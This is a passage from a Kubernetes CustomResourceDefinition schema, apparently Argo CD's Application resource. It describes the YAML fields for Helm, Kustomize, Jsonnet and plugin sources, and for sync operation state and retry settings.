                                        to tell Helm to interpret booleans and numbers
                                        as strings
                                      type: boolean
                                    name:
                                      description: Name is the name of the Helm parameter
                                      type: string
                                    value:
                                      description: Value is the value for the Helm
                                        parameter
                                      type: string
                                  type: object
                                type: array
                              passCredentials:
                                description: PassCredentials pass credentials to all
                                  domains (Helm's --pass-credentials)
                                type: boolean
                              releaseName:
                                description: ReleaseName is the Helm release name
                                  to use. If omitted it will use the application name
                                type: string
                              skipCrds:
                                description: SkipCrds skips custom resource definition
                                  installation step (Helm's --skip-crds)
                                type: boolean
                              skipSchemaValidation:
                                description: SkipSchemaValidation skips JSON schema
                                  validation (Helm's --skip-schema-validation)
                                type: boolean
                              skipTests:
                                description: SkipTests skips test manifest installation
                                  step (Helm's --skip-tests).
                                type: boolean
                              valueFiles:
                                description: ValuesFiles is a list of Helm value files
                                  to use when generating a template
                                items:
                                  type: string
                                type: array
                              values:
                                description: Values specifies Helm values to be passed
                                  to helm template, typically defined as a block.
                                  ValuesObject takes precedence over Values, so use
                                  one or the other.
                                type: string
                              valuesObject:
                                description: ValuesObject specifies Helm values to
                                  be passed to helm template, defined as a map. This
                                  takes precedence over Values.
                                type: object
                                x-kubernetes-preserve-unknown-fields: true
                              version:
                                description: Version is the Helm version to use for
                                  templating ("3")
                                type: string
                            type: object
                          kustomize:
                            description: Kustomize holds kustomize specific options
                            properties:
                              apiVersions:
                                description: |-
                                  APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                  Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                items:
                                  type: string
                                type: array
                              commonAnnotations:
                                additionalProperties:
                                  type: string
                                description: CommonAnnotations is a list of additional
                                  annotations to add to rendered manifests
                                type: object
                              commonAnnotationsEnvsubst:
                                description: CommonAnnotationsEnvsubst specifies whether
                                  to apply env variables substitution for annotation
                                  values
                                type: boolean
                              commonLabels:
                                additionalProperties:
                                  type: string
                                description: CommonLabels is a list of additional
                                  labels to add to rendered manifests
                                type: object
                              components:
                                description: Components specifies a list of kustomize
                                  components to add to the kustomization before building
                                items:
                                  type: string
                                type: array
                              forceCommonAnnotations:
                                description: ForceCommonAnnotations specifies whether
                                  to force applying common annotations to resources
                                  for Kustomize apps
                                type: boolean
                              forceCommonLabels:
                                description: ForceCommonLabels specifies whether to
                                  force applying common labels to resources for Kustomize
                                  apps
                                type: boolean
                              ignoreMissingComponents:
                                description: IgnoreMissingComponents prevents kustomize
                                  from failing when components do not exist locally
                                  by not appending them to kustomization file
                                type: boolean
                              images:
                                description: Images is a list of Kustomize image override
                                  specifications
                                items:
                                  description: KustomizeImage represents a Kustomize
                                    image definition in the format [old_image_name=]<image_name>:<image_tag>
                                  type: string
                                type: array
                              kubeVersion:
                                description: |-
                                  KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                  uses the Kubernetes version of the target cluster.
                                type: string
                              labelIncludeTemplates:
                                description: LabelIncludeTemplates specifies whether
                                  to apply common labels to resource templates or
                                  not
                                type: boolean
                              labelWithoutSelector:
                                description: LabelWithoutSelector specifies whether
                                  to apply common labels to resource selectors or
                                  not
                                type: boolean
                              namePrefix:
                                description: NamePrefix is a prefix appended to resources
                                  for Kustomize apps
                                type: string
                              nameSuffix:
                                description: NameSuffix is a suffix appended to resources
                                  for Kustomize apps
                                type: string
                              namespace:
                                description: Namespace sets the namespace that Kustomize
                                  adds to all resources
                                type: string
                              patches:
                                description: Patches is a list of Kustomize patches
                                items:
                                  properties:
                                    options:
                                      additionalProperties:
                                        type: boolean
                                      type: object
                                    patch:
                                      type: string
                                    path:
                                      type: string
                                    target:
                                      properties:
                                        annotationSelector:
                                          type: string
                                        group:
                                          type: string
                                        kind:
                                          type: string
                                        labelSelector:
                                          type: string
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                        version:
                                          type: string
                                      type: object
                                  type: object
                                type: array
                              replicas:
                                description: Replicas is a list of Kustomize Replicas
                                  override specifications
                                items:
                                  properties:
                                    count:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      description: Number of replicas
                                      x-kubernetes-int-or-string: true
                                    name:
                                      description: Name of Deployment or StatefulSet
                                      type: string
                                  required:
                                  - count
                                  - name
                                  type: object
                                type: array
                              version:
                                description: Version controls which version of Kustomize
                                  to use for rendering manifests
                                type: string
                            type: object
                          name:
                            description: Name is used to refer to a source and is
                              displayed in the UI. It is used in multi-source Applications.
                            type: string
                          path:
                            description: Path is a directory path within the Git repository,
                              and is only valid for applications sourced from Git.
                            type: string
                          plugin:
                            description: Plugin holds config management plugin specific
                              options
                            properties:
                              env:
                                description: Env is a list of environment variable
                                  entries
                                items:
                                  description: EnvEntry represents an entry in the
                                    application's environment
                                  properties:
                                    name:
                                      description: Name is the name of the variable,
                                        usually expressed in uppercase
                                      type: string
                                    value:
                                      description: Value is the value of the variable
                                      type: string
                                  required:
                                  - name
                                  - value
                                  type: object
                                type: array
                              name:
                                type: string
                              parameters:
                                items:
                                  properties:
                                    array:
                                      description: Array is the value of an array
                                        type parameter.
                                      items:
                                        type: string
                                      type: array
                                    map:
                                      additionalProperties:
                                        type: string
                                      description: Map is the value of a map type
                                        parameter.
                                      type: object
                                    name:
                                      description: Name is the name identifying a
                                        parameter.
                                      type: string
                                    string:
                                      description: String_ is the value of a string
                                        type parameter.
                                      type: string
                                  type: object
                                type: array
                            type: object
                          ref:
                            description: Ref is reference to another source within
                              sources field. This field will not be used if used with
                              a `source` tag.
                            type: string
                          repoURL:
                            description: RepoURL is the URL to the repository (Git
                              or Helm) that contains the application manifests
                            type: string
                          targetRevision:
                            description: |-
                              TargetRevision defines the revision of the source to sync the application to.
                              In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                              In case of Helm, this is a semver tag for the Chart's version.
                            type: string
                        required:
                        - repoURL
                        type: object
                      sources:
                        description: Sources is a reference to the application sources
                          used for the sync operation
                        items:
                          description: ApplicationSource contains all required information
                            about the source of an application
                          properties:
                            chart:
                              description: Chart is a Helm chart name, and must be
                                specified for applications sourced from a Helm repo.
                              type: string
                            directory:
                              description: Directory holds path/directory specific
                                options
                              properties:
                                exclude:
                                  description: Exclude contains a glob pattern to
                                    match paths against that should be explicitly
                                    excluded from being used during manifest generation
                                  type: string
                                include:
                                  description: Include contains a glob pattern to
                                    match paths against that should be explicitly
                                    included during manifest generation
                                  type: string
                                jsonnet:
                                  description: Jsonnet holds options specific to Jsonnet
                                  properties:
                                    extVars:
                                      description: ExtVars is a list of Jsonnet External
                                        Variables
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                    libs:
                                      description: Additional library search dirs
                                      items:
                                        type: string
                                      type: array
                                    tlas:
                                      description: TLAS is a list of Jsonnet Top-level
                                        Arguments
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                  type: object
                                recurse:
                                  description: Recurse specifies whether to scan a
                                    directory recursively for manifests
                                  type: boolean
                              type: object
                            helm:
                              description: Helm holds helm specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                fileParameters:
                                  description: FileParameters are file parameters
                                    to the helm template
                                  items:
                                    description: HelmFileParameter is a file parameter
                                      that's passed to helm template during manifest
                                      generation
                                    properties:
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      path:
                                        description: Path is the path to the file
                                          containing the values for the Helm parameter
                                        type: string
                                    type: object
                                  type: array
                                ignoreMissingValueFiles:
                                  description: IgnoreMissingValueFiles prevents helm
                                    template from failing when valueFiles do not exist
                                    locally by not appending them to helm template
                                    --values
                                  type: boolean
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                namespace:
                                  description: Namespace is an optional namespace
                                    to template with. If left empty, defaults to the
                                    app's destination namespace.
                                  type: string
                                parameters:
                                  description: Parameters is a list of Helm parameters
                                    which are passed to the helm template command
                                    upon manifest generation
                                  items:
                                    description: HelmParameter is a parameter that's
                                      passed to helm template during manifest generation
                                    properties:
                                      forceString:
                                        description: ForceString determines whether
                                          to tell Helm to interpret booleans and numbers
                                          as strings
                                        type: boolean
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      value:
                                        description: Value is the value for the Helm
                                          parameter
                                        type: string
                                    type: object
                                  type: array
                                passCredentials:
                                  description: PassCredentials pass credentials to
                                    all domains (Helm's --pass-credentials)
                                  type: boolean
                                releaseName:
                                  description: ReleaseName is the Helm release name
                                    to use. If omitted it will use the application
                                    name
                                  type: string
                                skipCrds:
                                  description: SkipCrds skips custom resource definition
                                    installation step (Helm's --skip-crds)
                                  type: boolean
                                skipSchemaValidation:
                                  description: SkipSchemaValidation skips JSON schema
                                    validation (Helm's --skip-schema-validation)
                                  type: boolean
                                skipTests:
                                  description: SkipTests skips test manifest installation
                                    step (Helm's --skip-tests).
                                  type: boolean
                                valueFiles:
                                  description: ValuesFiles is a list of Helm value
                                    files to use when generating a template
                                  items:
                                    type: string
                                  type: array
                                values:
                                  description: Values specifies Helm values to be
                                    passed to helm template, typically defined as
                                    a block. ValuesObject takes precedence over Values,
                                    so use one or the other.
                                  type: string
                                valuesObject:
                                  description: ValuesObject specifies Helm values
                                    to be passed to helm template, defined as a map.
                                    This takes precedence over Values.
                                  type: object
                                  x-kubernetes-preserve-unknown-fields: true
                                version:
                                  description: Version is the Helm version to use
                                    for templating ("3")
                                  type: string
                              type: object
                            kustomize:
                              description: Kustomize holds kustomize specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                commonAnnotations:
                                  additionalProperties:
                                    type: string
                                  description: CommonAnnotations is a list of additional
                                    annotations to add to rendered manifests
                                  type: object
                                commonAnnotationsEnvsubst:
                                  description: CommonAnnotationsEnvsubst specifies
                                    whether to apply env variables substitution for
                                    annotation values
                                  type: boolean
                                commonLabels:
                                  additionalProperties:
                                    type: string
                                  description: CommonLabels is a list of additional
                                    labels to add to rendered manifests
                                  type: object
                                components:
                                  description: Components specifies a list of kustomize
                                    components to add to the kustomization before
                                    building
                                  items:
                                    type: string
                                  type: array
                                forceCommonAnnotations:
                                  description: ForceCommonAnnotations specifies whether
                                    to force applying common annotations to resources
                                    for Kustomize apps
                                  type: boolean
                                forceCommonLabels:
                                  description: ForceCommonLabels specifies whether
                                    to force applying common labels to resources for
                                    Kustomize apps
                                  type: boolean
                                ignoreMissingComponents:
                                  description: IgnoreMissingComponents prevents kustomize
                                    from failing when components do not exist locally
                                    by not appending them to kustomization file
                                  type: boolean
                                images:
                                  description: Images is a list of Kustomize image
                                    override specifications
                                  items:
                                    description: KustomizeImage represents a Kustomize
                                      image definition in the format [old_image_name=]<image_name>:<image_tag>
                                    type: string
                                  type: array
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                labelIncludeTemplates:
                                  description: LabelIncludeTemplates specifies whether
                                    to apply common labels to resource templates or
                                    not
                                  type: boolean
                                labelWithoutSelector:
                                  description: LabelWithoutSelector specifies whether
                                    to apply common labels to resource selectors or
                                    not
                                  type: boolean
                                namePrefix:
                                  description: NamePrefix is a prefix appended to
                                    resources for Kustomize apps
                                  type: string
                                nameSuffix:
                                  description: NameSuffix is a suffix appended to
                                    resources for Kustomize apps
                                  type: string
                                namespace:
                                  description: Namespace sets the namespace that Kustomize
                                    adds to all resources
                                  type: string
                                patches:
                                  description: Patches is a list of Kustomize patches
                                  items:
                                    properties:
                                      options:
                                        additionalProperties:
                                          type: boolean
                                        type: object
                                      patch:
                                        type: string
                                      path:
                                        type: string
                                      target:
                                        properties:
                                          annotationSelector:
                                            type: string
                                          group:
                                            type: string
                                          kind:
                                            type: string
                                          labelSelector:
                                            type: string
                                          name:
                                            type: string
                                          namespace:
                                            type: string
                                          version:
                                            type: string
                                        type: object
                                    type: object
                                  type: array
                                replicas:
                                  description: Replicas is a list of Kustomize Replicas
                                    override specifications
                                  items:
                                    properties:
                                      count:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        description: Number of replicas
                                        x-kubernetes-int-or-string: true
                                      name:
                                        description: Name of Deployment or StatefulSet
                                        type: string
                                    required:
                                    - count
                                    - name
                                    type: object
                                  type: array
                                version:
                                  description: Version controls which version of Kustomize
                                    to use for rendering manifests
                                  type: string
                              type: object
                            name:
                              description: Name is used to refer to a source and is
                                displayed in the UI. It is used in multi-source Applications.
                              type: string
                            path:
                              description: Path is a directory path within the Git
                                repository, and is only valid for applications sourced
                                from Git.
                              type: string
                            plugin:
                              description: Plugin holds config management plugin specific
                                options
                              properties:
                                env:
                                  description: Env is a list of environment variable
                                    entries
                                  items:
                                    description: EnvEntry represents an entry in the
                                      application's environment
                                    properties:
                                      name:
                                        description: Name is the name of the variable,
                                          usually expressed in uppercase
                                        type: string
                                      value:
                                        description: Value is the value of the variable
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                                name:
                                  type: string
                                parameters:
                                  items:
                                    properties:
                                      array:
                                        description: Array is the value of an array
                                          type parameter.
                                        items:
                                          type: string
                                        type: array
                                      map:
                                        additionalProperties:
                                          type: string
                                        description: Map is the value of a map type
                                          parameter.
                                        type: object
                                      name:
                                        description: Name is the name identifying
                                          a parameter.
                                        type: string
                                      string:
                                        description: String_ is the value of a string
                                          type parameter.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                            ref:
                              description: Ref is reference to another source within
                                sources field. This field will not be used if used
                                with a `source` tag.
                              type: string
                            repoURL:
                              description: RepoURL is the URL to the repository (Git
                                or Helm) that contains the application manifests
                              type: string
                            targetRevision:
                              description: |-
                                TargetRevision defines the revision of the source to sync the application to.
                                In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                In case of Helm, this is a semver tag for the Chart's version.
                              type: string
                          required:
                          - repoURL
                          type: object
                        type: array
                    required:
                    - deployedAt
                    - id
                    type: object
                  type: array
                observedAt:
                  description: |-
                    ObservedAt indicates when the application state was updated without querying latest git state
                    Deprecated: controller no longer updates ObservedAt field
                  format: date-time
                  type: string
                operationState:
                  description: OperationState contains information about any ongoing
                    operations, such as a sync
                  properties:
                    finishedAt:
                      description: FinishedAt contains time of operation completion
                      format: date-time
                      type: string
                    message:
                      description: Message holds any pertinent messages when attempting
                        to perform operation (typically errors).
                      type: string
                    operation:
                      description: Operation is the original requested operation
                      properties:
                        info:
                          description: Info is a list of informational items for this
                            operation
                          items:
                            properties:
                              name:
                                type: string
                              value:
                                type: string
                            required:
                            - name
                            - value
                            type: object
                          type: array
                        initiatedBy:
                          description: InitiatedBy contains information about who
                            initiated the operations
                          properties:
                            automated:
                              description: Automated is set to true if operation was
                                initiated automatically by the application controller.
                              type: boolean
                            username:
                              description: Username contains the name of a user who
                                started operation
                              type: string
                          type: object
                        retry:
                          description: Retry controls the strategy to apply if a sync
                            fails
                          properties:
                            backoff:
                              description: Backoff controls how to backoff on subsequent
                                retries of failed syncs
                              properties:
                                duration:
                                  description: Duration is the amount to back off.
                                    Default unit is seconds, but could also be a duration
                                    (e.g. "2m", "1h")
                                  type: string
                                factor:
                                  description: Factor is a factor to multiply the
                                    base duration after each failed retry
                                  format: int64
                                  type: integer
                                maxDuration:
                                  description: MaxDuration is the maximum amount of
                                    time allowed for the backoff strategy
                                  type: string
                              type: object
                            limit:
                              description: Limit is the maximum number of attempts
                                for retrying a failed sync. If set to 0, no retries
                                will be performed.
                              format: int64
                              type: integer
                          type: object
                        sync:
                          description: Sync contains parameters for the operation
                          properties:
                            autoHealAttemptsCount:
                              description: SelfHealAttemptsCount contains the number
                                of auto-heal attempts
                              format: int64
                              type: integer
                            dryRun:
                              description: DryRun specifies to perform a `kubectl
                                apply --dry-run` without actually performing the sync
                              type: boolean
                            manifests:
                              description: Manifests is an optional field that overrides
                                sync source with a local directory for development
                              items:
                                type: string
                              type: array
                            prune:
                              description: Prune specifies to delete resources from
                                the cluster that are no longer tracked in git
                              type: boolean
                            resources:
                              description: Resources describes which resources shall
                                be part of the sync
                              items:
                                description: SyncOperationResource contains resources
                                  to sync.
                                properties:
                                  group:
                                    type: string
                                  kind:
                                    type: string
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                required:
                                - kind
                                - name
                                type: object
                              type: array
                            revision:
                              description: |-
                                Revision is the revision (Git) or chart version (Helm) which to sync the application to
                                If omitted, will use the revision specified in app spec.
                              type: string
                            revisions:
                              description: |-
                                Revisions is the list of revision (Git) or chart version (Helm) which to sync each source in sources field for the application to
                                If omitted, will use the revision specified in app spec.
                              items:
                                type: string
                              type: array
                            source:
                              description: |-
                                Source overrides the source definition set in the application.
                                This is typically set in a Rollback operation and is nil during a Sync operation
                              properties:
                                chart:
                                  description: Chart is a Helm chart name, and must
                                    be specified for applications sourced from a Helm
                                    repo.
                                  type: string
                                directory:
                                  description: Directory holds path/directory specific
                                    options
                                  properties:
                                    exclude:
                                      description: Exclude contains a glob pattern
                                        to match paths against that should be explicitly
                                        excluded from being used during manifest generation
                                      type: string
                                    include:
                                      description: Include contains a glob pattern
                                        to match paths against that should be explicitly
                                        included during manifest generation
                                      type: string
                                    jsonnet:
                                      description: Jsonnet holds options specific
                                        to Jsonnet
                                      properties:
                                        extVars:
                                          description: ExtVars is a list of Jsonnet
                                            External Variables
                                          items:
                                            description: JsonnetVar represents a variable
                                              to be passed to jsonnet during manifest
                                              generation
                                            properties:
                                              code:
                                                type: boolean
                                              name:
                                                type: string
                                              value:
                                                type: string
                                            required:
                                            - name
                                            - value
                                            type: object
                                          type: array
                                        libs:
                                          description: Additional library search dirs
                                          items:
                                            type: string
                                          type: array
                                        tlas:
                                          description: TLAS is a list of Jsonnet Top-level
                                            Arguments
                                          items:
                                            description: JsonnetVar represents a variable
                                              to be passed to jsonnet during manifest
                                              generation
                                            properties:
                                              code:
                                                type: boolean
                                              name:
                                                type: string
                                              value:
                                                type: string
                                            required:
                                            - name
                                            - value
                                            type: object
                                          type: array
                                      type: object
                                    recurse:
                                      description: Recurse specifies whether to scan
                                        a directory recursively for manifests
                                      type: boolean
                                  type: object
                                helm:
                                  description: Helm holds helm specific options
                                  properties:
                                    apiVersions:
                                      description: |-
                                        APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                        Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                      items:
                                        type: string
                                      type: array
                                    fileParameters:
                                      description: FileParameters are file parameters
                                        to the helm template
                                      items:
                                        description: HelmFileParameter is a file parameter
                                          that's passed to helm template during manifest
                                          generation
                                        properties:
                                          name:
                                            description: Name is the name of the Helm
                                              parameter
                                            type: string
                                          path:
                                            description: Path is the path to the file
                                              containing the values for the Helm parameter
                                            type: string
                                        type: object
                                      type: array
                                    ignoreMissingValueFiles:
                                      description: IgnoreMissingValueFiles prevents
                                        helm template from failing when valueFiles
                                        do not exist locally by not appending them
                                        to helm template --values
                                      type: boolean
                                    kubeVersion:
                                      description: |-
                                        KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                        uses the Kubernetes version of the target cluster.
                                      type: string
                                    namespace:
                                      description: Namespace is an optional namespace
                                        to template with. If left empty, defaults
                                        to the app's destination namespace.
                                      type: string
                                    parameters:
                                      description: Parameters is a list of Helm parameters
                                        which are passed to the helm template command
                                        upon manifest generation
                                      items:
                                        description: HelmParameter is a parameter
                                          that's passed to helm template during manifest
                                          generation
                                        properties:
                                          forceString:
                                            description: ForceString determines whether
                                              to tell Helm to interpret booleans and
                                              numbers as strings
                                            type: boolean
                                          name:
                                            description: Name is the name of the Helm
                                              parameter
                                            type: string
                                          value:
                                            description: Value is the value for the
                                              Helm parameter
                                            type: string
                                        type: object
                                      type: array
                                    passCredentials:
                                      description: PassCredentials pass credentials
                                        to all domains (Helm's --pass-credentials)
                                      type: boolean
                                    releaseName:
                                      description: ReleaseName is the Helm release
                                        name to use. If omitted it will use the application
                                        name
                                      type: string
                                    skipCrds:
                                      description: SkipCrds skips custom resource
                                        definition installation step (Helm's --skip-crds)
                                      type: boolean
                                    skipSchemaValidation:
                                      description: SkipSchemaValidation skips JSON
                                        schema validation (Helm's --skip-schema-validation)
                                      type: boolean
                                    skipTests:
                                      description: SkipTests skips test manifest installation
                                        step (Helm's --skip-tests).
                                      type: boolean
                                    valueFiles:
                                      description: ValuesFiles is a list of Helm value
                                        files to use when generating a template
                                      items:
                                        type: string
                                      type: array
                                    values:
                                      description: Values specifies Helm values to
                                        be passed to helm template, typically defined
                                        as a block. ValuesObject takes precedence
                                        over Values, so use one or the other.
                                      type: string
                                    valuesObject:
                                      description: ValuesObject specifies Helm values
                                        to be passed to helm template, defined as
                                        a map. This takes precedence over Values.
                                      type: object
                                      x-kubernetes-preserve-unknown-fields: true
                                    version:
                                      description: Version is the Helm version to
                                        use for templating ("3")
                                      type: string
                                  type: object
                                kustomize:
                                  description: Kustomize holds kustomize specific
                                    options
                                  properties:
                                    apiVersions:
                                      description: |-
                                        APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                        Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                      items:
                                        type: string
                                      type: array
                                    commonAnnotations:
                                      additionalProperties:
                                        type: string
                                      description: CommonAnnotations is a list of
                                        additional annotations to add to rendered
                                        manifests
                                      type: object
                                    commonAnnotationsEnvsubst:
                                      description: CommonAnnotationsEnvsubst specifies
                                        whether to apply env variables substitution
                                        for annotation values
                                      type: boolean
                                    commonLabels:
                                      additionalProperties:
                                        type: string
                                      description: CommonLabels is a list of additional
                                        labels to add to rendered manifests
                                      type: object
                                    components:
                                      description: Components specifies a list of
                                        kustomize components to add to the kustomization
                                        before building
                                      items:
                                        type: string
                                      type: array
                                    forceCommonAnnotations:
                                      description: ForceCommonAnnotations specifies
                                        whether to force applying common annotations
                                        to resources for Kustomize apps
                                      type: boolean
                                    forceCommonLabels:
                                      description: ForceCommonLabels specifies whether
                                        to force applying common labels to resources
                                        for Kustomize apps
                                      type: boolean
                                    ignoreMissingComponents:
                                      description: IgnoreMissingComponents prevents
                                        kustomize from failing when components do
                                        not exist locally by not appending them to
                                        kustomization file
                                      type: boolean
                                    images:
                                      description: Images is a list of Kustomize image
                                        override specifications
                                      items:
                                        description: KustomizeImage represents a Kustomize
                                          image definition in the format [old_image_name=]<image_name>:<image_tag>
                                        type: string
                                      type: array
                                    kubeVersion:
                                      description: |-
                                        KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                        uses the Kubernetes version of the target cluster.
                                      type: string
                                    labelIncludeTemplates:
                                      description: LabelIncludeTemplates specifies
                                        whether to apply common labels to resource
                                        templates or not
                                      type: boolean
                                    labelWithoutSelector:
                                      description: LabelWithoutSelector specifies
                                        whether to apply common labels to resource
                                        selectors or not
                                      type: boolean
                                    namePrefix:
                                      description: NamePrefix is a prefix appended
                                        to resources for Kustomize apps
                                      type: string
                                    nameSuffix:
                                      description: NameSuffix is a suffix appended
                                        to resources for Kustomize apps
                                      type: string
                                    namespace:
                                      description: Namespace sets the namespace that
                                        Kustomize adds to all resources
                                      type: string
                                    patches:
                                      description: Patches is a list of Kustomize
                                        patches
                                      items:
                                        properties:
                                          options:
                                            additionalProperties:
                                              type: boolean
                                            type: object
                                          patch:
                                            type: string
                                          path:
                                            type: string
                                          target:
                                            properties:
                                              annotationSelector:
                                                type: string
                                              group:
                                                type: string
                                              kind:
                                                type: string
                                              labelSelector:
                                                type: string
                                              name:
                                                type: string
                                              namespace:
                                                type: string
                                              version:
                                                type: string
                                            type: object
                                        type: object
                                      type: array
                                    replicas:
                                      description: Replicas is a list of Kustomize
                                        Replicas override specifications
                                      items:
                                        properties:
                                          count:
                                            anyOf:
                                            - type: integer
                                            - type: string
                                            description: Number of replicas
                                            x-kubernetes-int-or-string: true
                                          name:
                                            description: Name of Deployment or StatefulSet
                                            type: string
                                        required:
                                        - count
                                        - name
                                        type: object
                                      type: array
                                    version:
                                      description: Version controls which version
                                        of Kustomize to use for rendering manifests
                                      type: string
                                  type: object
                                name:
                                  description: Name is used to refer to a source and
                                    is displayed in the UI. It is used in multi-source
                                    Applications.
                                  type: string
                                path:
                                  description: Path is a directory path within the
                                    Git repository, and is only valid for applications
                                    sourced from Git.
                                  type: string
                                plugin:
                                  description: Plugin holds config management plugin
                                    specific options
                                  properties:
                                    env:
                                      description: Env is a list of environment variable
                                        entries
                                      items:
                                        description: EnvEntry represents an entry
                                          in the application's environment
                                        properties:
                                          name:
                                            description: Name is the name of the variable,
                                              usually expressed in uppercase
                                            type: string
                                          value:
                                            description: Value is the value of the
                                              variable
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                    name:
                                      type: string
                                    parameters:
                                      items:
                                        properties:
                                          array:
                                            description: Array is the value of an
                                              array type parameter.
                                            items:
                                              type: string
                                            type: array
                                          map:
                                            additionalProperties:
                                              type: string
                                            description: Map is the value of a map
                                              type parameter.
                                            type: object
                                          name:
                                            description: Name is the name identifying
                                              a parameter.
                                            type: string
                                          string:
                                            description: String_ is the value of a
                                              string type parameter.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                                ref:
                                  description: Ref is reference to another source
                                    within sources field. This field will not be used
                                    if used with a `source` tag.
                                  type: string
                                repoURL:
                                  description: RepoURL is the URL to the repository
                                    (Git or Helm) that contains the application manifests
                                  type: string
                                targetRevision:
                                  description: |-
                                    TargetRevision defines the revision of the source to sync the application to.
                                    In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                    In case of Helm, this is a semver tag for the Chart's version.
                                  type: string
                              required:
                              - repoURL
                              type: object
                            sources:
                              description: |-
                                Sources overrides the source definition set in the application.
                                This is typically set in a Rollback operation and is nil during a Sync operation
                              items:
                                description: ApplicationSource contains all required
                                  information about the source of an application
                                properties:
                                  chart:
                                    description: Chart is a Helm chart name, and must
                                      be specified for applications sourced from a
                                      Helm repo.
                                    type: string
                                  directory:
                                    description: Directory holds path/directory specific
                                      options
                                    properties:
                                      exclude:
                                        description: Exclude contains a glob pattern
                                          to match paths against that should be explicitly
                                          excluded from being used during manifest
                                          generation
                                        type: string
                                      include:
                                        description: Include contains a glob pattern
                                          to match paths against that should be explicitly
                                          included during manifest generation
                                        type: string
                                      jsonnet:
                                        description: Jsonnet holds options specific
                                          to Jsonnet
                                        properties:
                                          extVars:
                                            description: ExtVars is a list of Jsonnet
                                              External Variables
                                            items:
                                              description: JsonnetVar represents a
                                                variable to be passed to jsonnet during
                                                manifest generation
                                              properties:
                                                code:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          libs:
                                            description: Additional library search
                                              dirs
                                            items:
                                              type: string
                                            type: array
                                          tlas:
                                            description: TLAS is a list of Jsonnet
                                              Top-level Arguments
                                            items:
                                              description: JsonnetVar represents a
                                                variable to be passed to jsonnet during
                                                manifest generation
                                              properties:
                                                code:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                        type: object
                                      recurse:
                                        description: Recurse specifies whether to
                                          scan a directory recursively for manifests
                                        type: boolean
                                    type: object
                                  helm:
                                    description: Helm holds helm specific options
                                    properties:
                                      apiVersions:
                                        description: |-
                                          APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                          Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                        items:
                                          type: string
                                        type: array
                                      fileParameters:
                                        description: FileParameters are file parameters
                                          to the helm template
                                        items:
                                          description: HelmFileParameter is a file
                                            parameter that's passed to helm template
                                            during manifest generation
                                          properties:
                                            name:
                                              description: Name is the name of the
                                                Helm parameter
                                              type: string
                                            path:
                                              description: Path is the path to the
                                                file containing the values for the
                                                Helm parameter
                                              type: string
                                          type: object
                                        type: array
                                      ignoreMissingValueFiles:
                                        description: IgnoreMissingValueFiles prevents
                                          helm template from failing when valueFiles
                                          do not exist locally by not appending them
                                          to helm template --values
                                        type: boolean
                                      kubeVersion:
                                        description: |-
                                          KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                          uses the Kubernetes version of the target cluster.
                                        type: string
                                      namespace:
                                        description: Namespace is an optional namespace
                                          to template with. If left empty, defaults
                                          to the app's destination namespace.
                                        type: string
                                      parameters:
                                        description: Parameters is a list of Helm
                                          parameters which are passed to the helm
                                          template command upon manifest generation
                                        items:
                                          description: HelmParameter is a parameter
                                            that's passed to helm template during
                                            manifest generation
                                          properties:
                                            forceString:
                                              description: ForceString determines
                                                whether to tell Helm to interpret
                                                booleans and numbers as strings
                                              type: boolean
                                            name:
                                              description: Name is the name of the
                                                Helm parameter
                                              type: string
                                            value:
                                              description: Value is the value for
                                                the Helm parameter
                                              type: string
                                          type: object
                                        type: array
                                      passCredentials:
                                        description: PassCredentials pass credentials
                                          to all domains (Helm's --pass-credentials)
